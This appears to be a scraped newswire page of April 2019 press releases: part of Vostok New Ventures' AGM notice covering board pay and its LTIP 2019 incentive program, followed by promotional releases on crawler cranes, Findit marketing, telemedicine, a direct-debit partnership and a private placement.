Board of Directors, for the period until the end of the next annual general meeting, shall consist of six (6) members without any deputy members. the Companys auditors comprise one (1) registered audit company. Determination of remuneration to the Directors and the auditors (item 10) The Nomination Committee proposes that: a Board remuneration, for the forthcoming period of office, be awarded in the amount of USD 479,000, of which USD 155,000 shall be allocated to the Chairman of the Board and USD 75,000 to each of the other directors who are not employed by the Company. In addition, it is proposed that a total of USD 24,000 be awarded for work on Board Committees, of which USD 6,000 to each of two members of the Audit Committee and USD 6,000 to each of two members of the Compensation Committee. It is proposed that the Board in its entirety continue to constitute the Investment Committee. the auditors, for the forthcoming period of office, be remunerated in accordance with their approved invoice. Election of Directors and auditors (item 11) Item 11(a) The Nomination Committee proposes that the Companys auditor, the registered audit company PricewaterhouseCoopers AB, be re-elected until the end of the next Annual General Meeting. Item 11(b) Proposal from Ruane Cunniff & Goldfarb The Nomination Committee has not arrived at a joint proposal regarding election of the Directors and Chairman of the Board. Ruane Cunniff & Goldfarb proposes, for the period until the end of the next Annual General Meeting, the re-election of all the current Directors 11(b) 1 Lars O Gronstedt; 11(b) 2 Josh Blachman; 11(b) 3 Per Brilioth; 11(b) 4 Victoria Grace; 11(b) 5 Ylva Lindquist; 11(b) 6 Keith Richman; and that 11(b) 7 Lars O Gronstedt be appointed Chairman of the Board of Directors. For information about the current Directors proposed for re-election, please see the Companys website, www.vostoknewventures.com. Nomination committee (item 12) The Nomination Committee proposes that the annual general meeting shall resolve to adopt principles for the appointment of a Nomination Committee for the annual general meeting 2020 in accordance with the following. A Nomination Committee shall be established consisting of representatives from the three largest holders of depository receipts in the Company. The ownership shall be based on the statistics from Euroclear Sweden AB over holders of depository receipts as per the last business day in August 2019. The names of the members of the Nomination Committee shall be announced as soon as they have been appointed, which shall take place no later than six months prior to the annual general meeting in 2020. In case of a material change in ownership prior to completion of the work to be performed by the Nomination Committee, the Nomination Committee shall be able to decide upon a change of the composition of the Nomination Committee. The Nomination Committees mandate period extends up to the appointment of a new Nomination Committee. The Nomination Committee shall appoint a Chairman among its members. If the representatives cannot agree upon appointment of Chairman, the representative representing the holder of depository receipts with the largest number of votes shall be appointed as Chairman. The Nomination Committee shall prepare proposals for the following decisions at the Annual General Meeting in 2020: (i) election of the Chairman for the Meeting, (ii) election of directors, (iii) election of the Chairman of the Board of directors, (iv) remuneration to the directors, (v) election of the Companys auditors and (vi) compensation to the Companys auditors, and (vii) proposal for how to conduct the nomination process for the Annual General Meeting in 2021. Remuneration principles for the senior management (item 13) The Board of Directors proposes that the Meeting resolves to approve the following management remuneration principles etc. The remuneration to the Managing Director and other members of the senior management shall consist of fixed salary, variable remuneration, other benefits and pension benefits. Except for the Managing Director, the senior management currently includes two individuals. The total remuneration shall correspond to the prevailing market conditions and be competitive. The fixed and variable remuneration shall correspond to the respective individuals responsibility and authority. The variable component should, in the first instance, be covered within the parameters of the Companys Long-Term Incentive Programs and shall, where payable in other instances, be related to milestone accomplishments of the Company and/or its portfolio investments, e.g. particularly successful investments, exits or similar events. The period of notice of termination of employment shall be three to six months in the event of termination by the member of the senior management. In the event of termination by the Company, the total of the period of notice of termination and the period during which severance compensation is payable shall not exceed 12 months. Pension benefits shall be contribution-based with individual retirement ages. The Board of Directors shall be entitled to deviate from these guidelines in individual cases should special reasons exist. Resolution regarding long-term incentive program (item 14) The Board of Directors proposes that the Meeting resolves on long-term incentive program for up to seven (7) employees in Vostok New Ventures Ltd (LTIP 2019) in accordance with the below. LTIP 2019 is a three-year performance-based incentive program which is substantially the same as the depository receipt-based incentive program from 2018 (LTIP 2018). Adoption of an incentive program Summary of the program The Board of Directors proposes that the general meeting resolves to adopt LTIP 2019. LTIP 2019 is proposed to include up to seven (7) employees in Vostok New Ventures. The participants in LTIP 2019 are required to invest in Vostok New Ventures by acquiring shares in the form of depository receipts in Vostok New Ventures (Saving DRs). These Saving DRs are received by way of purchase of depository receipts (representing shares in Vostok New Ventures) at market value or transfer of depository receipts that such participant already holds in accordance with the terms set out under Personal investment below. The participants will thereafter be granted the opportunity to receive depository receipts free of charge in accordance with LTIP 2019, so called Performance DRs in accordance with the terms set out below. In the event that delivery of Performance DRs cannot be achieved at reasonable costs, with reasonable administrative efforts or due to market conditions, participants may instead be offered a cash-based settlement. Personal investment In order to participate in LTIP 2019, the participant must have made a private investment by (i) purchase of depository receipts (representing shares in Vostok New Ventures) at market value and for a value of up to SEK 1,425,0001 depending on the participants position in Vostok New Ventures in accordance with what is further described below, or (ii) by transfer of depository receipts that such participant already holds (provided that the participant holds at least 100% of annual net base pay in depository receipts) for a value of up to SEK 1,425,0002 depending on the participants position in Vostok New Ventures in accordance with what is further described below. For each Saving DR held under LTIP 2019, the Company will grant the participants ten rights to Performance DRs, meaning rights to receive Performance DRs free of charge (Rights). The number of Performance DRs each participants Saving DRs entitles to depends on the Companys fulfilment of the performance conditions. A participant cannot receive more than ten Performance DRs per Saving DR. The maximum amounts for the personal investments are based on an assumed market price of Vostok New Ventures depository receipts of SEK 57. The market price of the depository receipts may have increased or decreased by the time of the personal investment and the Board of Directors is authorised to change the maximum amount of the personal investment to take into account any material changes to the price of Vostok New Ventures depository receipts, in order to give as positive effects as possible for depository receipt holders in the Company. General terms and conditions Subject to the fulfilment of the entry level of the performance based conditions for the period 1 January 2019 to 31 December 2021 and provided that the participant has kept its investment in Saving DRs during the period from the day of allocation of the Rights until the day of the release of the interim report for the period 1 January to 31 March 2022 (the vesting period) and, with certain exceptions, kept its employment within the Vostok New Ventures group and not given notice of termination at such point in time, two Rights per Saving DR will vest and each Rights will entitle the participant to receive one Performance DR free of charge. Retention and performance conditions The number of Performance DRs each of the participants Saving DR entitles to depends on the Companys fulfilment of the performance conditions during the measurement period. The performance conditions are based on the Net Asset Value per share (NAV per share). The determined levels of the conditions include an entry, a target and a stretch level as regards the number of Rights that vest. The entry level constitutes the minimum level which must be exceeded in order to enable vesting of Rights. If the entry level is reached or exceeded, each participant will receive two Performance DRs per Saving DR. If the target level is reached or exceeded, each participant will receive five Performance DRs per Saving DR. If the stretch level is reached or exceeded, each participant will receive ten Performance DRs per Saving DR. The Board of Directors intends to disclose the outcome of the performance-based conditions in the annual report for the financial year 2021. The Rights The Rights shall be governed by the following terms and conditions: Rights are granted free of charge as soon as possible after the annual general meeting 2019. Vest following the publication of the Companys interim report for the period 1 January 31 March 2022 (the vesting period). May not be transferred or pledged. Two Rights per Saving DR will vest and each Right will entitle the participant to receive one Performance DR after the end of the vesting period, if the entry level of the performance-based conditions has been fulfilled and the participant, at the time of the release of the interim report for the period 1 January 31 March 2022, maintains its employment within the Vostok New Ventures group, has not given notice of termination and maintains the invested Saving DRs. In order to align the participants and the depository receipt holders interests, the Company will compensate the participants for any dividends paid during the three year vesting period. Compensation will only be made for dividend resolved after the time of allocation. Preparation and administration The Board of Directors shall be responsible for preparing the detailed terms and conditions of LTIP 2019, in accordance with the mentioned terms and guidelines. To this end, the Board of Directors shall be entitled to make adjustments to meet foreign regulations or market conditions. The Board of Directors may also make other adjustments if significant changes in the Vostok New Ventures group or its operating environment would result in a situation where the decided terms and conditions of LTIP 2019 no longer serve their purpose. Allocation The participants are divided into different categories and in accordance with the above, LTIP 2019 will comprise the following number of Saving DRs and maximum number of Rights for the different categories: the CEO: may acquire up to SEK 1,425,000 worth of Saving DRs 3 within LTIP 2019, entitling the holder to allotment of not less than two and up to ten Rights per Saving DR; within LTIP 2019, entitling the holder to allotment of not less than two and up to ten Rights per Saving DR; other members of management than the CEO (two individuals) and other employees (four individuals): may acquire in aggregate up to SEK 1,596,000 worth of Saving DRs4 within LTIP 2019, entitling the holder to allotment of not less than two and up to ten Rights per Saving DR. Scope and costs of LTIP 2019 LTIP 2019 will be accounted for in accordance with IFRS 2 which stipulates that the Rights should be recorded as a personnel expense in the income statement during the vesting period. The costs for LTIP 2019 is estimated to amount to approximately SEK 15 million, excluding social security costs, calculated in accordance with IFRS 2. The costs for social security charges are calculated to approximately SEK 4.75 million, based on the above assumptions. In addition to what is set forth above, the costs for LTIP 2019 have been based on that LTIP 2019 comprises up to seven participants and that each participant makes a maximum investment. If the maximum result is reached, and all invested Saving DRs are retained under LTIP 2019 and a fulfilment of the performance conditions of 100 percent, the maximum cost of LTIP 2019 as defined in IFRS 2 is approximately SEK 30 million and the maximum social security cost is estimated to approximately SEK 9.5 million. The costs are expected to have a marginal effect on key ratios of the Vostok New Ventures group. Upon maximum allotment of Performance DRs, 530,000 depository receipts representing shares in the Company may be allocated within the framework of LTIP 2019, which would correspond to approximately 0.68 percent of the share capital and the votes in the Company. A total of 147,000 depository receipts, comprising the currently allocated options under the 2010 Incentive Program (which currently encompasses in total 147,000 allocated options and 2,931,696 options that have not been allocated), 316,050 depository receipts under LTIP 2016, the maximum allotment of 661,500 depository receipts under LTIP 2017, the maximum allotment of 749,700 depository receipts under LTIP 2018 and the maximum allotment of 530,000 depository receipts under LTIP 2019, would correspond to approximately 3.095 percent of the share capital and the votes in the Company. Delivery of Performance DRs under LTIP 2019 To ensure delivery of Performance DRs under LTIP 2019, the Company intends to hedge LTIP 2019 with either repurchased depository receipts, enter into a swap agreement or other similar agreement with a third party or by taking other measures deemed necessary by the Company. The rationale for the proposal The objective of LTIP 2019 is to create incentives for the management to work for a long-term development in the Company. Furthermore, LTIP 2019 shall create conditions for retaining competent employees in the Vostok New Ventures group through the offering of competitive remuneration. LTIP 2019 has been designed based on the view that it is desirable that employees within the group are depository receipt holders in the Company and that they see that working with a long-term horizon pays off. Participation in LTIP 2019 requires a personal investment in Saving DRs. By offering an allotment of Performance DRs which are based performance-based conditions, the participants are rewarded for increased depository receipt holder value. Further, LTIP 2019 rewards employees loyalty and long-term value growth in the Company. Against this background, the Board of Directors is of the opinion that the adoption of LTIP 2019 will have a positive effect on the Vostok New Ventures groups future development and thus be beneficial for both the Company and its depository receipt holders. Preparation The Companys Board of Directors has prepared LTIP 2016, 2017 and 2018, on which LTIP 2019 is based, in consultation with external advisors. LTIP 2019 has been reviewed and determined by resolution by the Board of Directors on 14 March 2019. Other incentive programs in the Company Below are summaries of the current outstanding incentive programs in the Company. For more information about the incentive programs, please see the annual report 2018. 2010 Incentive Program The 2010 Annual General Meeting decided in accordance with the proposal from the Board of Directors to adopt an incentive program entitling present and future employees to be allocated call options to acquire shares represented by depository receipts in Vostok New Ventures. The program covers present and future employees. A total of 5,115,600 options were authorized under the program. A total of 147,000 options are currently allocated. The option life is 7 June 2016 31 July 2019 and the exercise period is 1 June 31 July 2019. If all options are exercised a total of 147,000 depository receipts could be allocated, which would correspond to approximately 0.19 percent of the share capital and the votes in the Company. LTIP 2016 At the 2016 annual general meeting held on 17 May 2016, it was resolved to implement a share-based long-term incentive program for management and key personnel in the Vostok New Ventures group. The program ran from 1 January 2016 through 31 March 2019 and encompassed a maximum of 430,000 shares. Program participants purchased shares in the Company, and for each purchased share were entitled to receive a number of additional shares, so-called performance shares, free of charge, subject to fulfilment of a performance condition set by the Board of Directors on the basis of the Companys Net Asset Value per share. The Board of Directors has determined that the development of the Companys Net Asset Value per share over the term of LTIP 2016 (January 1, 2016 through December 31, 2018), meets the so-called target level, whereby each savings share held by program participants throughout the vesting period (until the day of release of the Companys interim report for the period January 1 through March 31, 2019) will result in an allocation of five performance shares free of charge, which will correspond to 316,050 shares and a dilution of approximately 0.41 percent of the share capital and the votes in the Company. LTIP 2017 At the 2017 annual general meeting held on 16 May 2017, it was resolved to implement a share-based long-term incentive program for management and key personnel in the Vostok New Ventures group. The program runs from 1 January 2017 through 31 March 2020, and encompasses a maximum of 661,500 shares, corresponding to a dilution of 0.85 percent of the total number of shares outstanding at the time of adoption of the program. Program participants purchase shares in the Company, and for each purchased share is entitled to receive a number of additional shares, so-called performance shares, free of charge, subject to fulfilment of a performance condition set by the Board of Directors on the basis of the Companys Net Asset Value. LTIP 2018 At the 2017 annual general meeting held on 16 May 2018, it was resolved to implement a share-based long-term incentive program for management and key personnel in the Vostok New Ventures group. The program runs from 1 January 2018 through 31 March 2021, and encompasses a maximum of 749,700 shares, corresponding to a dilution of 0.96 percent of the total number of shares outstanding at the time of adoption of the program. Program participants purchase shares in the Company, and for each purchased share is entitled to receive a number of additional shares, so-called performance shares, free of charge, subject to fulfilment of a performance condition set by the Board of Directors on the basis of the Companys Net Asset Value. Resolution to amend the Companys Bye-Laws (item 15) The Board of Directors proposes an amendment to the Companys Bye-Laws, whereby the name of the Company as stated in the Bye-Laws is changed from Vostok Nafta Investment Ltd to Vostok New Ventures Ltd, in order to reflect the name change effected by the Company in 2015. With reference to the above, the Board of Directors proposes that section 1.1 of the Bye-Laws, referring to the definition of Company, shall read as follows: Company The company with the name Vostok Nafta Holding Investment Ltd incorporated in Bermuda on the 10th day of April 2007 and subsequently renamed Vostok Nafta Investment Ltd and later Vostok New Ventures Ltd; Furthermore, the first page of the Bye-Laws shall read as follows: Amended and restated Bye-Laws of Vostok New Ventures Ltd Resolution to cancel the incentive program adopted in 2007 (item 16) At an Extra General Meeting held on 29 August 2007, an incentive program was adopted under which the Company could issue and transfer call options to members of the executive management and other employees related to investments in non-listed portfolio companies. By enabling the Companys employees to subscribe for call options of shares in portfolio companies, it was envisioned by the Board of Directors that opportunities would be created for employees to take part in future increases in value, in a similar mode as for individuals working within traditional private equity firms. The Board of Directors has noted that no call options have been granted under this incentive program and further assess that no call options are likely to be granted under this incentive program in the future. As such, the Board of Directors proposes that the incentive program adopted in 2007 is cancelled in its entirety. Resolution to cancel the 2010 Incentive Program (item 17) The 2010 Annual General Meeting decided in accordance with the proposal from the Board of Directors to adopt an incentive program entitling present and future employees to be allocated call options to acquire shares represented by depository receipts in Vostok New Ventures. The program covers present and future employees. A total of 5,115,600 options were authorized under the program. A total of 147,000 options are currently allocated. The option life is 7 June 2016 31 July 2019 and the exercise period is 1 June 31 July 2019. The Board of Directors proposes that the 2010 Incentive Program is cancelled in its entirety following the expiry of the option life and exercise period of the currently allocated 147,000 options. Majority requirements Resolutions in accordance with the Board of Directors proposal in respect of items 14, 16 and 17 requires support of shareholders representing not less than half of the votes cast as well as of the shares represented by depository receipts represented at the Meeting. Resolution in accordance with the Board of Directors proposal in respect of item 15 requires support of shareholders representing not less than two thirds of the votes cast as well as of the shares represented by depository receipts represented at the Meeting. Miscellaneous The annual accounts and the auditors report will be available at the office of the Companys Swedish subsidiary, Vostok New Ventures AB, at Master Samuelsgatan 1 in Stockholm, Sweden and on the Companys website www.vostoknewventures.com. Processing of personal data For information on how your personal data is processed, see the integrity policy that is available at Euroclears webpage www.euroclear.com/dam/ESw/Legal/Privacy-notice-bolagsstammor-engelska.pdf. _______________________ April 2019 Pareto Securities AB The Board of Directors of Vostok New Ventures Ltd For further information please contact: Bjorn von Sivers, Investor Relations: +46 (0)8-545 015 50 This information is information that Vostok New Ventures Ltd. is obliged to make public pursuant to the EU Market Abuse Regulation. The information was submitted for publication, through the agency of the contact person set out above, at 08.00 CEST on April 26, 2019. 1 Corresponding to 25,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 2 Corresponding to 25,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 3 Corresponding to 25,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 4 Corresponding to 28,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 5 Excluding the 2,931,696 options that have not been allocated and will not be allocated if the Meeting resolves in accordance with the Board of Directors proposal under item 17. Including such options, the number of depository receipts would correspond to approximately 6.85 percent of the share capital and the votes in the Company. Attachment factmr PR-Inside.com: 2019-04-26 14:33:05 Press Information FactMR 11140 Rockville Pike Suite 400 Rockville, MD 20852 United States Abhishek Budholiya Marketing Manager 353-1-4434-232 email https://www.factmr.com/ # 627 Words 11140 Rockville Pike Suite 400 Rockville, MD 20852 United StatesMarketing Manager353-1-4434-232 Crawler cranes clearly sustain ample competitive advantage over other similar offerings, owing to their diverse features such as higher capacity, jib combinations, and longer boom that offer flexible mobility with advantageous undercarriage designs, making it ideal for compact places with high space constraints. Enormous applications across power plant construction and heavy lifting tasks necessitate adoption of crawler cranes in construction areas. Soaring opportunities in infrastructure development projects entailing roads, railways, and bridges owing to its high load bearing capabilities are poised to unleash novel growth avenues in crawler cranes market.Get sample of this report atThe competition spectrum of crawler cranes resembles consolidated landscape with several big ticket players dominating the market. Ample resource allocation towards portfolio diversification besides investing in inorganic strategies such as acquisitions and mergers have remained tactical business decisions undertaken by key vendors. Additionally, geographical expansion across emerging economies such as APAC tops the list. To cite an instance, Zoomlion Hheavy Industry Science and Technology Co Ltd. recently bagged a contract to provide crawler cranes for an upcoming expressway in Djakarta. Additionaly, Liebherr International AG is also envisioned to expand its presence in India with facility expansion to provide competent high value crawler cranes, aiming to aid construction infrastructure in the region.To mitigate persistent challenges such as lack of skilled labor which results in low efficiency and time consumption, adoption of advanced technologies such as VR is likely to become a dominant trend in crawler cranes market, allowing 3D viewing and real-time data generation. Factors as such are likley to bolster high values growth in crawler cranes market.Crawler Cranes Market: OverviewThe crawler cranes market has been analyzed in detail to offer definitive forecast insights on the market for the period 2018-28. This report is an exhaustive compilation of a detailed overview of crawler cranes market and analyzes the market in terms of market dynamics, macro and micro-economic determinants that shape market growth, also shedding light on other relevant factors that direct future prospects of the market trajectory.For More Details - A sample of this report is available upon request here -The report aims to offer readers with ample competitive advantage and cues on market entry barriers, based on which aspiring market entrants as well as established players can drive profitable investment discretion. To aid readers understanding the report is systematically classified into detailed chapters. In its trailing sections the report also includes a detailed chapter on segmental analysis of crawler cranes market to offer veritable insights on segments historical and future growth estimations. Further in the course of the report readers are also enlightened about regional assessment of pivotal factors. The report also entails a country-wise assessment and forecast estimations for crawler cranes market.Detailed overview of crawler cranes market spectrum presented in the report banks upon a robust research methodology comprising primary and secondary researches that divulge relevant and timely market intelligence figures. Voluminous information recorded in the report with the aid of these research approaches have been meticulously validated by in-house research analysts.Crawler Cranes Market: Competition LandscapeThis section of the report offers a detailed section on key contributors in crawler cranes market. A dashboard view of each of the mentioned profiles complete with detailed insights on their respective SWOT analysis along with detailed assessment of their product portfolio, market contribution, as well as recent developments have been slated to aid readers understanding about the competition spectrum.The report allows readers to maneuver competitive and tactical business strategies based on aforementioned insights and ensure sustained revenue pools in crawler cranes market.Have Any Query?? Ask Our Industry Expert PR-Inside.com: 2019-04-26 19:22:13 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 944 Words ACCESSWIRE News Network888.952.4446 ATLANTA, GA / ACCESSWIRE / April 26, 2019 / Findit, Inc., a Nevada Corporation that trades under the stock symbol (OTC PINK: FDIT), owner of Findit.com , a Social Networking Content Management Platform that empowers members to get more out of their current social networking accounts announces online marketing services to General Contractors that want to get more exposure.Findit offers online marketing campaigns that are catered to your specific needs where we work with you to identify your online marketing goals so that our marketing campaigns align with your overall marketing objectives.Findit online marketing campaigns include a variety of paid for services on Findit, but can be customized to fit your needs. We offer Findit Vanity URL's, which are an extension of Findit.com such as findit.com/savannahstructuralrepairs In this case, 'savannahstructuralrepairs' is the URL for one of Findit's General Contracting clients, American Craftsman Renovations. A general contractor that offers structural repairs in Savannah, Georgia.Findit Vanity URLs that are specific to a service or product (or store) in a specific location can index very well in outside search engines. Findit Vanity URLs can be anything you choose, such as your name, the name of your business, a product or service, or a phrase that describes what you want others to know about you.Also included in Findit online marketing campaigns is content creation, where our team of dedicated writers create customized content on your behalf that is geared towards what you want to index for and what you want your target audiences to search for to find you. This content is created on Findit and syndicated to other social sites that include Google My Business (GOOG), Facebook (FB), Twitter (TWTR) but not limited to and bookmarking sites so that your products, services, brand, or name as an individual start to appear throughout social media, bookmarking sites and search engines.Findit offers video production, like the ones featured in this release. Videos and pictures are typically what are shared most throughout social media. Your marketing campaign can include videos that we produce for you, which are white labeled, and can highlight yourself, business, products, or services, or whatever else you wish to inform people about through the video.Clark St. Amant of Findit stated, ''What so many business owners and individuals forget to understand regarding their online marketing strategy is that the consumers who are using search engines to find a specific product or service that you offer are doing that search because they do not yet know who you are or have a referral for that product or service. Therefore, business owners and individuals that are trying to improve their online presence need to target the words or phrases that describe their brand or what products or services that they offer. Failing to do so can end up meaning that the very people searching for you end up not finding you.'' Set up your own customized marketing campaign on Findit today by calling us at 404-443-3224. We can help answer any questions that you may have and get you started on your online marketing campaign.About Findit, Inc.Findit, Inc., owns Findit.com a Social Media Content Management Platform that provides an interactive search engine for all content posted in Findit to appear in Findit search. The site is an open platform that provides access to Google, Yahoo, Bing, and other search engines crawl content posted in Findit so it can be indexed in these search engines as well. Findit provides Members the ability to post, share and manage their content. Once they have posted in Findit, we ensure the content gets indexed in Findit Search results. Findit provides an option for anyone to submit URLs that they want indexed in Findit search result, along with posting status updates through Findit Right Now. Status Updates posted in Findit can be crawled by outside search engines which can result in additional organic indexing. All posts on Findit can be shared to other social and bookmarking sites that include but are not limited to Facebook, Twitter, LinkedIN and Pinterest by members and non-members. Findit provides Real Estate Agents the ability to create their own Findit Site where they can pull in their listing and others through their IDX account and post listings manually. Findit, Inc., is focused on the development of monetized Internet-based web products that can provide an increased brand awareness of our members. Findit, Inc., trades under the stock symbol FDIT on the OTC Pinksheets.Safe Harbor:This press release contains forward-looking information within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended (the 'Exchange Act'), including statements regarding potential sales, the success of the company's business, as well as statements that include the word believe or similar expressions. Such forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause the actual results, performance or achievements of Findit, Inc. to differ materially from those implied or expressed by such forward-looking statements. This press release speaks as of the date first set forth above, and Findit, Inc. assumes no responsibility to update the information included herein for events occurring after the date hereof. Actual results could differ materially from those anticipated due to factors such as the lack of capital, timely development of products, inability to deliver products when ordered, inability of potential customers to pay for ordered products, and political and economic risks inherent in international trade.CONTACT:Clark St. Amant404-443-3224SOURCE: Findit, Inc. As per a recent report Launched by TRENDS MARKET RESEARCH theTelemedicine Market is set to surpass a valuation of US$ XX MN by 2026 PR-Inside.com: 2019-04-26 17:23:20 Press Information Trends Market Research One Vincent Square, Westminster, London SW1P 2PN, UK Phone: +44-2033221521 Oliver Analytics +442033221521 email https://www.trendsmarketresearch.com/ # 619 Words One Vincent Square, Westminster, London SW1P 2PN, UKPhone: +44-2033221521Analytics+442033221521 Telemedicine technology conceivably focuses on the elderly, the underserved along with their caregivers, people with chronic ailments, dependents and employees and fitness-oriented people. The implementation of telemedicine is expanding around the world. This can be ascribed to its capacity to enhance the nature of care, get to patients in rural networks, lessen hospital admissions and readmissions, upgrade patient engagement and improve time administration and accommodation. Telemedicine, in addition, addresses the doctor shortage worldwide. The increasing prevalence of chronic ailments, rising elderly populace, and growing healthcare services costs are aspects of driving this market. As of now, mHealth (mobile health) is considered to be the biggest utilized telemedicine. With the wide assortment of versatile health apps accessible in the market and novel mobile therapeutic devices that are customer friendly, currently, patients are relied on technology to screen and track their health.Telemedicine exploits fast strides in the communication innovation in order to enable healthcare experts to give financially savvy effective healthcare, distance-learning to the patients, supervision, decrease wastage and requirement for physical appointment, increasing proficiency of healthcare specialists time and others. In general healthcare system incorporation as well as cutting the shortage of healthcare experts through the world is another circumstance of the innovation. The drivers for the telemedicine market increase in the demand for healthcare services in rural areas, rise in government initiatives to cater the health needs of the rural population, availability of well-developed information technology infrastructure, rising number of telemedicine services provider and others.On the other hand, the absence of reimbursement, administrative issues, absence of physician knowledge and acknowledgment poor connectivity in underdeveloped regions, high installation cost, poor quality networks particularly in emerging nations all over the world, absence of awareness and others are a few of the aspects constraining the expansion of the telemedicine market.Get More Information about- https://www.trendsmarketresearch.com/report/sample/3331 In the year 2016, GlobalMed took on TreatMD. TreatMD had assisted GlobalMed to associate physicians and patients all over the world. The deal was believed to generate synergy among direct-to-customer telemedicine technologies of TreatMD together with the client to client established GlobalMed technology for telemedicine. During the same year, Medvivo one of the prominent telemedicine companies took on Expert 24 with a chief goal of enlarging its regional distribution in addition to product lines all the way through the United States, Europe, and the UK.In November 2017, BioTelemetry, Inc., reported its contract with Apple Inc. to allow for services for cardiac monitoring in alignment with the Apple Heart Study. Again during the same period, Telcare, (a division of BioTelemetry) the producer of the worlds first FDA-authorised cellular-enabled blood glucose monitor, came into a strategic partnership with Onduo, a combined venture made by Sanofi as well as Verily (an Alphabet company). Under this combined venture, Telcare is considered to function as the provider of remote blood glucose systems as well as the ensuing data for patients recruited in Onduos groundbreaking program for diabetes management.Request For Table of Contents- https://www.trendsmarketresearch.com/report/requesttoc/3331 Increasing the amount of virtual medical centers in addition to the growth of remote clinical enterprises are a few of the trends which have been discovered in the worldwide telemedicine market. In rural areas shortfall of physicians is believed to put forward fresh prospects for the expansion of the telemedicine market, worldwide. A few of the prominent companies functioning in the telemedicine market globally are AMD Telemedicine, Philips healthcare, Cardio Net Inc. McKesson Ltd., along with GE Healthcare Ltd. On account of the rising potential in the developing nations, for instance, Russia and Brazil, the foremost market players are concentrating on increasing their services in these regions.Report Description: https://www.trendsmarketresearch.com/report/telemedicine-market PR-Inside.com: 2019-04-26 14:16:35 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 839 Words ACCESSWIRE News Network888.952.4446 GUILDFORD, ENGLAND / ACCESSWIRE / April 26, 2019 / Silverbear, the UK's membership CRM specialist, and Clear Direct Debit, a BACS approved bureau and training provider, have joined forces in a move that is expected to radically transform the way Direct Debits are collected by membership, not-for-profit and fundraising-led organisations.Currently, organisations that collect payments from members using manual or semi-manual methods may be exposed to human error, data security issues and overly dependent on only a handful of individuals to process payments.Legacy Direct Debit systems require manual files to be stored locally and are often held on laptops or emailed internally, which can lead to bank details being taken offsite and exposed to risk.The partnership will enable customers of Silverbear's flagship product, 'Silverbear Membership', which include Royal College of Nurses, Royal Academy of Dance and Royal Horticultural Society, to collect payments from members using a fully automated and secure cloud-based platform without manual intervention.The strategic venture follows the recent acquisition of both companies by ClearCourse Partnership LLP, a business formed of innovative technology companies that provide membership software to groups, organisations and small businesses.Gavin Lawrence, Managing Director of Clear Direct Debit, comments: "Payment processing in many organisations is still largely based on the manual movement of local data, such as exporting and importing files containing sensitive information, the consequences of which can be significant. We've seen one non-profit organisation collect a hundred times the subscription fee of thousands of its members by mistake simply because of a file formatting issue. Whilst errors of this magnitude aren't common, other smaller mistakes are. Our partnership with Silverbear will help make organisations become more resilient and help them address data security issues in a more robust and meaningful way." General Data Protection Regulation, PSD2 (the revised Payment Service Directive) and ever-changing Direct Debit rules pose challenges for all organisations that process payments. Those failing to address them risk breaking the law and leaving their customers open to data breaches.Carl Grieves, Chief Executive at Silverbear, adds: "Whether it's unsecured data, file formatting issues or human error, Direct Debit mistakes can prove costly at an economic and reputational level. Through our partnership with Clear Direct Debit, and as a direct result of the synergies presented following both companies' acquisition by ClearCourse Partnership, we've created a secure Direct Debit automation service that can be managed through a fully integrated approach with the click of a button. This is a huge step forward for Silverbear's growing customer base and we're proud to be pioneering this new approach." Silverbear and Clear Direct Debit will officially unveil the latest addition to the Silverbear Membership platform at MembershipExcellence 2019, the UK's largest membership-focused national conference for membership organisations and associations, which takes place at Novotel London West on Thursday 2 May.For more information on Silverbear and Clear Direct Debit visit www.silverbear.com and www.cleardirectdebit.co.uk respectively. For more information on ClearCourse Partnership LLP visit www.clearcoursellp.com Notes to editorsMedia caption 1: Silverbear's CEO, Carl Grieves, says the partnership will transform the way Direct Debits are collected by membership-based organisationsMedia caption 1: Gavin Lawrence, Managing Director at Clear Direct Debit, which has joined forces with SilverbearMedia enquiriesFor more information please contact Stuart Pearson at The PR Farm on 01483 343636 / 07812 086211 or at stuart@ theprfarm.com About SilverbearSilverbear's expertise lies in integrating the channels and technology, such as Microsoft Dynamics Social Engagement and Microsoft Dynamics Flow, which enable membership organisations to effectively communicate with their members.Built on Microsoft Dynamics 365, Silverbear's solutions enable its clients to enjoy an open, secure, familiar and scalable IT platform that can integrate into pretty much all areas of a business operation; now and in the future. They also facilitate greater membership interaction, which leads to greater membership insight.Silverbear is now a thriving, award-winning solution provider, which is 100% focused on meeting the challenges of the membership and trade association industries.About Clear Direct DebitClear Direct Debit is a Bacs accredited training provider, Bacs approved bureau and an independent Bacs consultancy. It is the only Direct Debit collection solution in the UK to start as a Bacs accredited training provider and has helped thousands of individuals and organisations from charities and associations to SMEs and multinational corporates to save money, avoid Direct Debit payment related issues and become compliant with the Bacs Direct Debit Scheme Rules.About Clear Course PartnershipClear Course Partnership is a partnership of innovative technology companies providing membership software to groups, organisations and small businesses. Its companies help their customers to manage their members and clients, administer their business workflow and to automate their payment processes seamlessly.Backed by Aquiline Capital Partners, a New York and London-based private equity firm, its experienced team is focused on creating an environment for talented entrepreneurs and their businesses to thrive with: access to capital funding, accelerating growth through sales, marketing and other expansion initiatives; considerable expertise in software and payments; retention of existing leadership teams; best practice collaboration across its partner platform.SOURCE: Silverbear PR-Inside.com: 2019-04-26 22:19:32 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 360 Words ACCESSWIRE News Network888.952.4446 VANCOUVER, BC / ACCESSWIRE / April 26, 2019 / PROGRESSIVE PLANET SOLUTIONS INC. (PLAN: TSX-V) ("Progressive Planet" or the "Company") is pleased to announce that further to its press release dated March 28th, 2019 the Company has closed the non-brokered private placement. The total raised in the financing issuing 9,000,000 units (the "Units") at a price of $0.05 per Unit for aggregate gross proceeds of $450,000.00.Each Unit is comprised of one common share (a "Share") and one Share purchase warrant (a "Warrant") of the Company. Each Warrant will entitle the holder to purchase one Share (a "Warrant Share") at a price of $0.055 per Warrant Share for a period of 12 months from the date of closing.Finders' fees of $17,200.00 and 344,000 broker warrants were paid to an arm's length party. The shares and warrants comprising the units are subject to a 4 month hold period expiring August 27th, 2019.Net proceeds of the Financing will be used for general corporate purposes and for additional infrastructure at the Company's Advanced Materials Centre (the "AMC") located in the Township of Spallumcheen, B.C.Additionally, the Company announces the 